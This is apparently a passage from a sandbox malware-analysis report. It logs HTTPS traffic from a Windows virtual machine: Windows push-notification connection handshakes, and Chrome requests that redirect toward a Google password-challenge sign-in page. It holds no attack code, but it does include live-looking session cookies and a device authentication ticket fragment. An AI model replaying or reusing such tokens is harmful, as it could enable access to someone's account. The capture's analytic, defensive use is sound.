2024-10-03 01:27:31 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 68 44 41 7a 78 6d 45 78 33 55 79 34 67 73 6e 7a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 34 64 30 34 63 36 33 63 65 37 33 35 34 36 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: hDAzxmEx3Uy4gsnz.3Context: 44d04c63ce735468<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-03 01:27:32 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:27:32 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 53 53 6a 2f 4f 51 71 44 30 53 77 6c 4b 53 4c 74 45 6d 4b 67 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: qSSj/OQqD0SwlKSLtEmKgw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49790	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:27:58 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6b 76 49 45 32 34 4b 4c 75 6b 6d 77 56 42 32 75 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 34 31 31 33 65 33 36 31 63 38 32 65 31 31 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: kvIE24KLukmwVB2u.1Context: 84113e361c82e11b
2024-10-03 01:27:58 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:27:58 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6b 76 49 45 32 34 4b 4c 75 6b 6d 77 56 42 32 75 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 34 31 31 33 65 33 36 31 63 38 32 65 31 31 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: kvIE24KLukmwVB2u.2Context: 84113e361c82e11b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:27:58 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 6b 76 49 45 32 34 4b 4c 75 6b 6d 77 56 42 32 75 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 34 31 31 33 65 33 36 31 63 38 32 65 31 31 62 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: kvIE24KLukmwVB2u.3Context: 84113e361c82e11b
2024-10-03 01:27:59 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:27:59 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 4e 33 44 5a 39 43 77 73 45 2b 54 6e 6a 75 69 52 68 70 33 4d 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: tN3DZ9CwsE+TnjuiRhp3Mw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49795	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:28:09 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 7a 43 5a 35 6e 44 38 57 4f 45 2b 68 51 66 66 62 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 64 37 33 38 35 64 35 65 61 34 31 34 32 31 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: zCZ5nD8WOE+hQffb.1Context: 3d7385d5ea414214
2024-10-03 01:28:09 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:28:09 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 7a 43 5a 35 6e 44 38 57 4f 45 2b 68 51 66 66 62 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 64 37 33 38 35 64 35 65 61 34 31 34 32 31 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: zCZ5nD8WOE+hQffb.2Context: 3d7385d5ea414214<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:28:09 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 7a 43 5a 35 6e 44 38 57 4f 45 2b 68 51 66 66 62 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 64 37 33 38 35 64 35 65 61 34 31 34 32 31 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: zCZ5nD8WOE+hQffb.3Context: 3d7385d5ea414214<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-03 01:28:09 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:28:09 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 43 30 32 78 32 6d 46 38 35 45 4b 4c 31 54 52 34 57 35 55 4f 34 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: C02x2mF85EKL1TR4W5UO4g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49820	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:28:58 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 30 46 68 4b 69 4e 4c 6f 74 30 2b 44 79 47 6f 6a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 33 37 33 64 38 61 33 37 61 36 34 36 39 32 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 0FhKiNLot0+DyGoj.1Context: 4373d8a37a64692d
2024-10-03 01:28:58 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:28:58 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 30 46 68 4b 69 4e 4c 6f 74 30 2b 44 79 47 6f 6a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 33 37 33 64 38 61 33 37 61 36 34 36 39 32 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 0FhKiNLot0+DyGoj.2Context: 4373d8a37a64692d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:28:58 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 30 46 68 4b 69 4e 4c 6f 74 30 2b 44 79 47 6f 6a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 33 37 33 64 38 61 33 37 61 36 34 36 39 32 64 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: 0FhKiNLot0+DyGoj.3Context: 4373d8a37a64692d
2024-10-03 01:28:58 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:28:58 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 66 63 31 54 6b 41 58 70 64 45 6d 37 35 4f 43 37 54 6e 2f 7a 6a 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: fc1TkAXpdEm75OC7Tn/zjg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49824	142.250.185.78	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:29:03 UTC	1195	OUT	GET /account?=https://accounts.google.com/v3/signin/challenge/pwd HTTP/1.1 Host: youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCLnKzQEI+cDUFRiPzs0B Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GPS=1; YSC=yOUrApn3ZpU; VISITOR_INFO1_LIVE=GMMa1Ri0ARs; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgNg%3D%3D
2024-10-03 01:29:03 UTC	1704	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary X-Content-Type-Options: nosniff Expires: Thu, 03 Oct 2024 01:29:03 GMT Date: Thu, 03 Oct 2024 01:29:03 GMT Cache-Control: private, max-age=31536000 Location: https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Content-Security-Policy: require-trusted-types-for 'script' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Server: ESF Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49828	142.250.186.142	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:29:04 UTC	1213	OUT	GET /account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd HTTP/1.1 Host: www.youtube.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCLnKzQEI+cDUFRiPzs0B Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GPS=1; YSC=yOUrApn3ZpU; VISITOR_INFO1_LIVE=GMMa1Ri0ARs; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgNg%3D%3D
2024-10-03 01:29:05 UTC	1983	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 03 Oct 2024 01:29:05 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script' Server: ESF Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49848	216.58.206.78	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:29:12 UTC	1176	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=-378640786&timestamp=1727918951222 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCLnKzQEI+cDUFRiPzs0B Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 01:29:13 UTC	1967	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: script-src 'report-sample' 'nonce-V7q2MMPUG1_fAMDYZFT2xA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 03 Oct 2024 01:29:13 GMT Cross-Origin-Resource-Policy: cross-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin reporting-endpoints: default="/_/AccountsDomainCookiesCheckConnectionHttp/web-reports?context=eJzjstDikmLw0pBikPj6kkkNiJ3SZ7AGAHHSv_OsBUB8ufsS63UgVu25xGoMxEUSV1gbgFiIm-Pls-_b2QRunLmroqSXlF8Yn5mSmleSWVKZkp-bmJmXnJ-fnZlaXJxaVJZaFG9kYGRiYGlkpGdgEV9gAADUAC3I" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
